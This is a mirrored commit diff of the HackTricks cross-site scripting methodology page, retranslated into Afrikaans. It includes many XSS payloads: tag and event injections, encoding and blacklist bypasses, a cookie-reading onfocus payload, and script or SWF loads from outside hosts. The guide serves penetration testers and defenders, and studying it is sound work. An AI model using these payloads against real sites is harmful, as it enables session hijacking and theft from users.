maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem

Browse Source
This commit is contained in:
Translator 2025-09-29 15:02:47 +00:00
parent 4e6a9a580b
commit 4df01f8358
3 changed files with 340 additions and 195 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

397
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -4,81 +4,80 @@
## Metodologie
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _path_, _headers_?, _cookies_?) **weerspieël** word in die HTML of **gebruik** word deur **JS**-kode.
2. **Vind die konteks** waar dit weerspieël/gebruik word.
3. As dit **weerspieël**
1. Kontroleer **watter simbole jy kan gebruik** en, afhangend daarvan, berei die payload voor:
1. In **ruwe HTML**:
1. Kan jy nuwe HTML-tags skep?
2. Kan jy events of attributte gebruik wat die `javascript:`-protokol ondersteun?
3. Kan jy beskerming omseil?
4. Word die HTML-inhoud geïnterpreteer deur enige client-side JS-motor (_AngularJS_, _VueJS_, _Mavo_...)? Jy kan 'n [**Client Side Template Injection**](../client-side-template-injection-csti.md) misbruik.
5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
2. Binne 'n **HTML-tag**:
1. Kan jy ontsnap na die ruwe HTML-konteks?
2. Kan jy nuwe events/attribute skep om JS-kode uit te voer?
3. Ondersteun die attribuut waarin jy gevang is die uitvoering van JS?
4. Kan jy beskerming omseil?
3. Binne **JavaScript-kode**:
1. Kan jy uit die `<script>`-tag ontsnap?
2. Kan jy die string ontsnap en ander JS-kode uitvoer?
3. Is jou insette in template literals ``?
4. Kan jy beskerming omseil?
1. Kyk of **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) **weerklink** in die HTML of **gebruik** word deur **JS** kode.
2. **Vind die konteks** waar dit weergalm/gebruik word.
3. As dit **weerklink**
1. Kontroleer **watter simbole jy kan gebruik** en berei afhangend daarvan die payload voor:
1. In **raw HTML**:
1. Kan jy nuwe HTML tags skep?
2. Kan jy events of attributes gebruik wat die `javascript:` protocol ondersteun?
3. Kan jy beskermings omseil?
4. Word die HTML-inhoud geïnterpreteer deur enige client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), wat jy kan misbruik met 'n [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. As jy nie HTML tags kan skep wat JS kode uitvoer nie, kan jy 'n [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
2. Binne 'n **HTML tag**:
1. Kan jy uit die attribute na raw HTML konteks ontsnap?
2. Kan jy nuwe events/attributes skep om JS kode uit te voer?
3. Ondersteun die attribute waarin jy vasgevang is JS uitvoer?
4. Kan jy beskermings omseil?
3. Binne **JavaScript code**:
1. Kan jy die `<script>` tag ontsnap?
2. Kan jy die string ontsnap en ander JS kode uitvoer?
3. Is jou invoer in template literals \`\`?
4. Kan jy beskermings omseil?
4. Javascript **funksie** wat **uitgevoer** word
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
4. As dit **gebruik** word:
1. Jy kan 'n **DOM XSS** uitbuit; let daarop hoe jou insette beheer word en of jou **beheerde insette deur enige sink gebruik word.**
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te leer oor:
1. Jy kan 'n **DOM XSS** misbruik; let daarop hoe jou invoer gekontrolleer word en of jou **gekontroleerde invoer deur enige sink gebruik word.**
Wanneer jy aan 'n komplekse XSS werk, kan dit nuttig wees om te weet van:
{{#ref}}
debugging-client-side-js.md
{{#endref}}
## Weerspieëlde waardes
## Reflected values
Om 'n XSS suksesvol te benut, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat op die webblad weerspieël word**.
Om 'n XSS suksesvol te eksploiteer, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webblad weergalm**.
- **Intermediair weerspieël**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad weerspieël word, kan jy 'n **Reflected XSS** uitbuit.
- **Gestoor en weerspieël**: As jy vind dat 'n waarde wat jy beheer op die bediener gestoor word en elke keer wanneer jy 'n bladsy besoek weerspieël word, kan jy 'n **Stored XSS** uitbuit.
- **Toegang via JS**: As jy vind dat 'n waarde wat jy beheer deur JS bereik word, kan jy 'n **DOM XSS** uitbuit.
- **Intermediately reflected**: As jy vind dat die waarde van 'n parameter of selfs die path in die webblad weergalm, kan jy 'n **Reflected XSS** eksploiteer.
- **Stored and reflected**: As 'n waarde wat jy beheer op die bediener gestoor word en elke keer weerspieël word wanneer 'n bladsy geraak word, kan jy 'n **Stored XSS** eksploiteer.
- **Accessed via JS**: As 'n waarde wat jy beheer deur JS benader word, kan jy 'n **DOM XSS** eksploiteer.
## Kontekste
Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **waar jou insette weerspieël word**. Afhangend van die konteks sal jy op verskeie maniere arbitraire JS-kode kan uitvoer.
Wanneer jy probeer om 'n XSS te eksploiteer, is die eerste ding wat jy moet weet **waar jou invoer weergalm**. Afhangend van die konteks, sal jy in staat wees om arbitrêre JS kode op verskillende maniere uit te voer.
### Ruwe HTML
As jou insette op die **ruwe HTML** bladsy weerspieël word, sal jy 'n **HTML-tag** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.\
Ook, hou [Client Side Template Injection](../client-side-template-injection-csti.md) in gedagte.
As jou invoer **in die ruwe HTML** bladsy weergalm, moet jy 'n **HTML tag** misbruik om JS kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die baie moontlike HTML tags wat jy kan gebruik.\
Onthou ook [Client Side Template Injection](../client-side-template-injection-csti.md).
### Binne HTML-tag-attribuut
### Binne HTML-tag se attribuut
As jou insette binne die waarde van 'n attribuut van 'n tag weerspieël word, kan jy probeer:
As jou invoer binne die waarde van 'n tag se attribuut weergalm, kan jy probeer:
1. Om **uit die attribuut en uit die tag te ontsnap** (dan sal jy in die ruwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
2. As jy **uit die attribuut kan ontsnap maar nie uit die tag nie** (`>` word gekodeer of verwyder), afhangend van die tag kan jy 'n **event skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie uit die attribuut kan ontsnap nie** (`"` word gekodeer of verwyder), sal jy, afhangend van **watter attribuut** jou waarde weerspieël word en of jy die hele waarde of net 'n deel beheer, dit kan misbruik. Byvoorbeeld, as jy 'n event soos `onclick=` beheer, kan jy dit laat uitvoer wanneer dit geklik word. 'n Ander interessante voorbeeld is die attribuut `href`, waar jy die `javascript:`-protokol kan gebruik om arbitraire kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou insette binne "**onuitbuitbare tags**" weerspieël word, kan jy die **`accesskey`**-truuk probeer om die vuln te misbruik (jy sal 'n mate van social engineering benodig om dit te eksploiteer): **`" accesskey="x" onclick="alert(1)" x="`**
1. Om **uit die attribuut en uit die tag te ontsnap** (dan is jy in die raw HTML) en nuwe HTML tag te skep om te misbruik: `"><img [...]`
2. As jy **uit die attribuut kan ontsnap maar nie uit die tag nie** (`>` word gekodeer of verwyder), kan jy afhangend van die tag 'n **event** skep wat JS kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie uit die attribuut kan ontsnap nie** (`"` word gekodeer of verwyder), sal jy, afhangend van **in watter attribuut** jou waarde weergalm en of jy die hele waarde of net 'n deel beheer, in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n event soos `onclick=` beheer, kan jy dit laat arbitrêre kode uitvoer wanneer dit geklik word. Nog 'n interessante voorbeeld is die attribuut `href`, waar jy die `javascript:` protocol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer binne "**unexpoitable tags**" weergalm, kan jy die **`accesskey`** truuk probeer om die vulnbaarheid te misbruik (jy sal 'n vorm van social engineering nodig hê om dit uit te voer): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
Weird example of Angular executing XSS if you controls a class name:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### Binne JavaScript code
### Binne JavaScript-kode
In hierdie geval word jou invoer gereflekteer tussen **`<script> [...] </script>`** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
In hierdie geval word jou insetsel weerspieël tussen **`<script> [...] </script>`** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
- As dit gereflekteer word tussen **`<script> [...] </script>`** tags, selfs al is jou invoer binne enige soort aanhalingstekens, kan jy probeer om `</script>` in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal parse** en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte `</script>` tag binne die HTML-kode is nie.
- As dit gereflekteer word **binne 'n JS-string** en die laaste truuk werk nie, sal jy die string moet **verlaat**, jou code **uitvoer** en die JS code **herbou** (as daar enige fout is, sal dit nie uitgevoer word nie):
- As dit weerspieël word tussen **`<script> [...] </script>`** tags, selfs as jou insetsel binne enige soort aanhalingstekens is, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal ontleed** en dan die inhoud, daarom sal dit nie opmerk dat jou ingevoegde `</script>` tag binne die HTML-kode is nie.
- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- As dit gereflekteer word binne template literals kan jy **JS-uitdrukkings inkorporeer** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** werk om **valid javascript code** te skryf:
- As dit weerspieël word binne template literals kan jy **JS expressions** insluit met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** werk om **geldige javascript code** te skryf:
```javascript
alert(1)
alert(1)
@ -86,7 +85,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting verwys na die geleentheid om functions, variables of classes ná gebruik te declare, sodat jy scenario's kan misbruik waar 'n XSS undeclared variables of functions gebruik.\
Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse nádat hulle gebruik is te verklaar sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\
**Kyk na die volgende bladsy vir meer inligting:**
@ -96,19 +95,19 @@ js-hoisting.md
### Javascript Function
Verskeie webblaaie het endpoints wat **as parameter die naam van die function aanvaar wat uitgevoer moet word**. 'n Algemene voorbeeld wat jy in die wild sien is iets soos: `?callback=callbackFunc`.
Verskeie webblaaie het endpoints wat **as parameter die naam van die funksie om uit te voer aanvaar**. 'n Algemene voorbeeld in die veld is iets soos: `?callback=callbackFunc`.
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur die **modifying the param value** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
'n Goeie manier om te ontdek of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur **die parameterwaarde aan te pas** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
![](<../../images/image (711).png>)
As dit kwesbaar is, kan jy 'n **trigger an alert** veroorsaak deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud **validate** om slegs letters, syfers, punte en underscores toe te laat (**`[\w\._]`**).
As dit kwesbaar is, kan jy moontlik **'n alert aktiveer** net deur die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud sal **valideer** om slegs letters, syfers, kolletjies en underscores toe te laat (**`[\w\._]`**).
Tog, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **access any element in the DOM**:
Selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **toegang te kry tot enige element in die DOM**:
![](<../../images/image (747).png>)
Some useful functions for this:
Sommige nuttige funksies hiervoor:
```
firstElementChild
lastElementChild
@ -116,11 +115,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Jy kan ook probeer om **trigger Javascript functions** direk: `obj.sales.delOrders`.
Jy kan ook probeer om direk **trigger Javascript functions**: `obj.sales.delOrders`.
Gewoonlik is die endpoints wat die aangeduide funksie uitvoer egter endpoints sonder baie interessante DOM; **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
In die praktyk is die endpoints wat die aangeduide funksie uitvoer gewoonlik endpoints sonder 'n baie interessante DOM; **other pages in the same origin** sal 'n **more interesting DOM** hê om meer aksies uit te voer.
Daarom, om **abuse this vulnerability in a different DOM** te bereik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel:
Daarom, om hierdie kwesbaarheid in 'n ander DOM te misbruik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel:
{{#ref}}
@ -129,7 +128,7 @@ some-same-origin-method-execution.md
### DOM
Daar is **JS code** wat **onveilig** sekere **data wat deur 'n aanvaller beheer word** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
Daar is **JS code** wat op 'n onveilige wyse sekere **data controlled by an attacker** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
{{#ref}}
@ -138,8 +137,8 @@ dom-xss.md
### **Universal XSS**
Sulke XSS kan **oral** gevind word. Hulle is nie net afhanklik van die client exploitation van 'n webtoepassing nie maar van **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript execution** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
Sommige **voorbeelde**:
Hierdie soort XSS kan **ooral** gevind word. Hulle is nie net afhanklik van die kliëntuitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **arbitrary JavaScript execution** kan selfs misbruik word om **RCE** te bekom, **read** **arbitrary** **files** op kliënte en bedieners, en meer.\
Sommige **examples**:
{{#ref}}
@ -157,11 +156,11 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
As jou invoer **inside the HTML page** gereflekteer word of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kontroleer of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** word of **deleted** word, of of dit **reflected without changes** is. **Only in the last case you will be able to exploit this case**.\
Vir hierdie gevalle hou ook **in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
As jou invoer weerspieël word **inside the HTML page** of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** of **deleted** word, of of dit **reflected without changes** is. **Slegs in laasgenoemde geval sal jy hierdie situasie kan uitbuit**.\
Vir hierdie gevalle **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
In hierdie geval en as geen swart-/witlyste gebruik word nie, kan jy payloads soos:
In hierdie geval, en as geen swart-/witlys gebruik word nie, kan jy payloads soos die volgende gebruik:
```html
<script>
alert(1)
@ -170,21 +169,21 @@ alert(1)
<svg onload=alert('XSS')>
```
Maar, as tags/attributes black/whitelisting gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy die **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
Sodra jy **gevind het watter tags toegelaat word**, sal jy die **brute-force attributes/events** binne die gevonde geldige tags moet uitvoer om te sien hoe jy die konteks kan aanval.
### Tags/Events brute-force
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Copy tags to clipboard**_. Stuur dan al die tags met Burp intruder en kontroleer of enige tags nie deur die WAF as kwaadwillig bespeur is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute-force alle events** met die geldige tags (op dieselfde webblad klik op _**Copy events to clipboard**_ en volg dieselfde prosedure as tevore).
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Copy tags to clipboard**_. Stuur daarna al die tags met Burp intruder en kyk of die WAF enige van hulle nie as kwaadaardig herken het nie. Sodra jy uitgevind het watter tags jy kan gebruik, kan jy **brute force alle events** met die geldige tags (op dieselfde webblad klik op _**Copy events to clipboard**_ en volg dieselfde prosedure as voorheen).
### Custom tags
As jy geen geldige HTML tag gevind het nie, kan jy probeer om 'n custom tag te skep en JS code uit te voer met die `onfocus` attribute. In die XSS request moet jy die URL beëindig met `#` om die bladsy te laat fokus op daardie objek en die kode uit te voer:
As jy geen geldige HTML tag gevind het nie, kan jy probeer om 'n custom tag te skep en JS-kode uit te voer met die `onfocus` attribute. In die XSS-versoek moet jy die URL met `#` laat eindig om die bladsy op daardie objek te fokus en die kode uit te voer:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
As 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar dom truuks te bypass:
Indien 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar snaakse truuks te bypass:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -234,36 +233,36 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Lengte-omseiling (klein XSSs)
### Length bypass (small XSSs)
> [!NOTE] > **Meer klein XSS payloads vir verskillende omgewings** [**kan hier gevind word**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**hier**](https://tinyxss.terjanq.me).
> [!NOTE] > **Meer tiny XSS vir verskillende omgewings** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) en [**here**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
```
Die laaste gebruik 2 unicode-karakters wat uitbrei tot 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
Die laaste een gebruik 2 unicode-karakters wat uitbrei na 5: telsr\
Meer van hierdie karakters kan gevind word [here](https://www.unicode.org/charts/normalization/).\
Om te kontroleer in watter karakters dit gedecomposeer is, kyk [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
As jy, om die kwesbaarheid te misbruik, die **user to click a link or a form** met vooraf ingevulde data nodig het, kan jy probeer om [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
As jy, om die kwesbaarheid te benut, die **gebruiker nodig het om op 'n skakel of 'n vorm te klik** met vooraf ingevulde data, kan jy probeer om [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
### Impossible - Dangling Markup
### Onmoontlik - Dangling Markup
As jy net dink dat **dit onmoontlik is om 'n HTML tag met 'n attribuut te skep om JS code uit te voer**, moet jy [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) raadpleeg omdat jy die kwesbaarheid kan **exploit** **without** die **JS** code uit te voer.
As jy net dink dat dit **onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan, want jy kan die kwesbaarheid **exploit** **sonder** om **JS**-kode uit te voer.
## Inspuiting binne HTML-tag
## Injecting inside HTML tag
### Binne die tag/ontsnap uit attribuutwaarde
### Inside the tag/escaping from attribute value
As jy **inside a HTML tag** is, is die eerste ding wat jy kan probeer om uit die tag te **escape** en 'n paar van die tegnieke te gebruik wat in die [previous section](#injecting-inside-raw-html) genoem word om JS code uit te voer.\
As jy **cannot escape from the tag**, kan jy nuwe attributes binne die tag skep om te probeer om JS code uit te voer, byvoorbeeld deur 'n payload soos (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
As jy binne 'n **HTML tag** is, is die eerste ding wat jy kan probeer om uit die tag te **ontsnap** en sommige van die tegnieke in die [previous section](#injecting-inside-raw-html) te gebruik om **JS**-kode uit te voer.\
As jy **nie uit die tag kan ontsnap nie**, kan jy nuwe attributes binne die tag skep om te probeer om **JS**-kode uit te voer, byvoorbeeld met 'n payload soos (let wel dat in hierdie voorbeeld dubbele aanhalingstekens gebruik word om uit die attribuut te ontsnap; jy sal dit nie nodig hê as jou inset direk binne die tag gereflekteer word nie_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Stylgebeurtenisse**
**Stylgebeure**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -275,14 +274,14 @@ As jy **cannot escape from the tag**, kan jy nuwe attributes binne die tag skep
```
### Binne die attribuut
Selfs al **kan jy nie uit die attribuut ontsnap nie** (`"` word gekodeer of verwyder), afhangend van **in watter attribuut** jou waarde gereflekteer word **en of jy die hele waarde of net 'n deel beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer sal jy dit kan laat uitvoer arbitrêre kode wanneer daar op geklik word.\
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
Selfs al **kan jy nie uit die attribuut ontsnap nie** (`"` word gekodeer of verwyder), afhangend van **in watter attribuut** jou waarde gereflekteer word **en of jy die hele waarde of net 'n deel beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n event soos `onclick=` beheer sal jy dit in staat wees om ewekansige kode uit te voer wanneer dit geklik word.\\
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om ewekansige kode uit te voer: **`href="javascript:alert(1)"`**
**Omseiling binne event deur HTML-enkodering/URL-enkodering**
**Bypass inside event using HTML encoding/URL encode**
Die **HTML-geënkodeerde karakters** binne die waarde van HTML-tag-attribuute word **gedekodeer tydens runtime**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Die **HTML-geënkodeerde karakters** binne die waarde van HTML tag-attribuutte word tydens runtime gedekodeer. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Neem kennis dat **elke soort HTML-enkodering geldig is**:
Let wel dat **elke soort HTML-enkodering geldig is**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -299,11 +298,11 @@ Neem kennis dat **elke soort HTML-enkodering geldig is**:
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**Let wel dat URL encode ook sal werk:**
**Let daarop dat URL encode ook sal werk:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass binne event deur Unicode encode te gebruik**
**Bypass binne gebeurtenis met Unicode encode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -311,7 +310,7 @@ Neem kennis dat **elke soort HTML-enkodering geldig is**:
```
### Spesiale protokolle binne die attribuut
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sekere plekke gebruik om **ewekansige JS-kode uit te voer**. Sommige sal gebruikersinteraksie vereis, ander nie.
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sekere plekke gebruik om **willekeurige JS-kode uit te voer**. Sommige sal gebruikersinteraksie vereis, ander nie.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -333,7 +332,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Plekke waar jy hierdie protokolle kan inspuit**
**In die algemeen** kan die `javascript:` protocol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **die meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
**In die algemeen** kan die `javascript:` protocol **gebruik word in enige tag wat die attribute `href` aanvaar** en in **die meeste** van die tags wat die **attribute `src`** aanvaar (maar nie `<img>` nie)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -353,23 +352,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**Ander obfuskasie-truuks**
**Ander obfuscation tricks**
_**In hierdie geval is die HTML-enkodering en die Unicode-enkodering-truuk van die vorige afdeling ook geldig aangesien jy binne 'n attribuut is.**_
_**In hierdie geval is die HTML encoding en die Unicode encoding trick van die vorige afdeling ook geldig aangesien jy binne 'n attribuut is.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Verder is daar nog 'n **netjiese wenk** vir hierdie gevalle: **Selfs as jou invoer binne `javascript:...` as URL gekodeer word, sal dit voor uitvoering URL gedekodeer word.** Dus, as jy uit die **string** moet **escape** met 'n **single quote** en jy sien dat **dit as URL gekodeer word**, onthou dat **dit nie saak maak,** dit sal tydens die **uitvoering** as 'n **single quote** geïnterpreteer word.
Boonop is daar nog 'n **mooi truuk** vir hierdie gevalle: **Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** Dus, as jy moet **escape** uit die **string** met 'n **single quote** en jy sien dat **it's being URL encoded**, onthou dat **it doesn't matter,** dit sal tydens die **execution** time as 'n **single quote** **interpreted** word.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Let wel: as jy probeer om **beide** `URLencode + HTMLencode` in watter volgorde ook al te gebruik om die **payload** te enkodeer, sal dit **nie** **werk** nie, maar jy kan hulle **binne die payload meng**.
Neem kennis dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te enkodeer, dit **sal nie** **werk** nie, maar jy kan hulle **in die payload meng**.
**Using Hex and Octal encode with `javascript:`**
**Gebruik Hex and Octal encode met `javascript:`**
Jy kan **Hex** en **Octal encode** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML tags te skep wat JS uitvoer**:
Jy kan **Hex** en **Octal encode** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML tags to execute JS** te verklaar:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -381,11 +380,12 @@ Jy kan **Hex** en **Octal encode** binne die `src` attribuut van `iframe` (ten m
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Omgekeerde tab nabbing
### Reverse tab nabbing
```javascript
<a target="_blank" rel="opener"
```
As jy enige URL in 'n ewekansige **`<a href=`**-tag kan injekteer wat die **`target="_blank" and rel="opener"`**-attribuute bevat, kyk na die **volgende bladsy om hierdie gedrag te misbruik**:
As jy enige URL kan inject in 'n ewekansige **`<a href=`** tag wat die **`target="_blank" and rel="opener"`** attributes bevat, kyk die **volgende bladsy om hierdie gedrag uit te buit**:
{{#ref}}
../reverse-tab-nabbing.md
@ -393,8 +393,8 @@ As jy enige URL in 'n ewekansige **`<a href=`**-tag kan injekteer wat die **`tar
### on Event Handlers Bypass
Kyk eers na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
Indien daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
